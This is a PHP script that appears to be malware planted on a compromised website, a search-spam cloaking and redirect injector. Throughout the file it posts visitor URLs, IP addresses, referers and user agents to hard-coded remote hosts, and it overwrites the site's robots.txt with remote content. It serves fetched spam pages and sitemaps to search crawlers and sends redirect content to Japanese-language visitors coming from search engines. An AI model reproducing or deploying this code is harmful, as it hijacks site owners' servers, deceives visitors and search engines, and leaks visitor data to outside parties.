$req_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$self = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '';
$a = 'http://z40713_7.phonebookofsantodomingo.com/';
if(strstr($req_uri, 'shadow.php')){
    $a = 'http://z40713_17.nxtecoffice.com/';
    $self = '/shadow.php';
}elseif(strstr($req_uri, 'webhook.php')){
    $a = 'http://z40715_7.saltzjewelry.com/';
    $self = '/webhook.php';
}

function curl_get_contents($url){
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
	$file_contents = curl_exec($ch);
	curl_close($ch);
	return $file_contents;
}

function getServerCont($url, $data = array()){
	$url = str_replace(' ', '+', $url);
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
	$output = curl_exec($ch);
	$errorCode = curl_errno($ch);
	curl_close($ch);
	if(0 !== $errorCode){
		return false;
	}
	return $output;
}

function is_crawler($agent){
	$agent_check = false;
	$bots='googlebot|google|yahoo|bing|aol';
	if($agent){
		if(preg_match("/($bots)/si", $agent)){
			$agent_check = true;
		}
	}
	return $agent_check;
}

function check_refer($refer){
	$check_refer = false;
	$referbots = 'google.co.jp|yahoo.co.jp|google.com';
	if($refer){
		if(preg_match("/($referbots)/si", $refer)){
			$check_refer=true;
		}
	}
	return $check_refer;
}

$http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$ser_name = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '';
$req_url = $http.$domain.$req_uri;
$indata1 = $a."/indata.php";
$map1 = $a."/map.php";
$jump1 = $a."/jump.php";
$url_words = $a."/words.php";
$url_robots = $a."/robots.php";
if(strpos($req_uri, ".php")){
	$href1 = $http.$domain.$self;
}else{
	$href1 = $http.$domain;
}

$data1 = array();
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
if(substr($req_uri, -6) == 'robots'){
	define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']);
	$robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
	$data1['robots_cont'] = $robots_cont;
	$robots_cont = @getServerCont($url_robots, $data1);
	file_put_contents(BASE_PATH.'/robots.txt', $robots_cont);
	$robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
	if(strpos(strtolower($robots_cont),"sitemap")){
		echo 'robots.txt file create success!';
	}else{
		echo 'robots.txt file create fail!';
	}
	exit();
}

if(substr($req_uri, -4) == '.xml'){
	if(strpos($req_uri, "allsitemap.xml") || strpos($req_uri, "sitemap-index.xml") || strpos($req_uri, "sitemap-index-1.xml") || strpos($req_uri, "index.xml")){
		$str_cont = getServerCont($map1, $data1);
		header("Content-type:text/xml");
		echo $str_cont;
		exit();
	}
	if(strpos($req_uri, ".php")){
		$word4 = explode("?", $req_uri);
		$word4 = $word4[count($word4)-1];
		$word4 = str_replace(".xml", "", $word4);
	}else{
		$word4 = str_replace("/", "", $req_uri);
		$word4 = str_replace(".xml", "", $word4);
	}
	$data1['word'] = $word4;
	$data1['action'] = 'check_sitemap';
	$check_url4 = getServerCont($url_words, $data1);
	if($check_url4 == '1'){
		$str_cont = getServerCont($map1, $data1);
		header("Content-type:text/xml");
		echo $str_cont;
		exit();
	}
	$data1['action']="check_words";
	$check1 = getServerCont($url_words, $data1);
	if(strpos($req_uri, "map") > 0 || $check1 == '1'){
		$data1['action'] = "rand_xml";
	}
	$check_url4 = getServerCont($url_words, $data1);
	header("Content-type:text/xml");
	echo $check_url4;
	exit();
}

if(strpos($req_uri, ".php")){
	$main_shell = $http.$ser_name.$self;
	$data1['main_shell'] = $main_shell;
}else{
	$main_shell = $http.$ser_name;
	$data1['main_shell'] = $main_shell;
}

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$res_crawl = is_crawler($user_agent);
if(strpos($req_uri, '.php')){
	$url_ext = '?';
}else{
	$url_ext = '/';
}
if(!$res_crawl && $chk_refer){
	$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
	if(preg_match('/ja/i', $lang) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".shtml",".html", ".htm"), "", $req_uri))))){
		$data1['ip'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
		$data1['referer'] = $referer;
		$data1['user_agent'] = $user_agent;
		echo getServerCont($jump1, $data1);
		exit();
	}	
}
if($res_crawl){
	$data1['http_user_agent'] = $user_agent;
	$ser_cont = getServerCont($indata1, $data1);
	echo $ser_cont;
}
exit();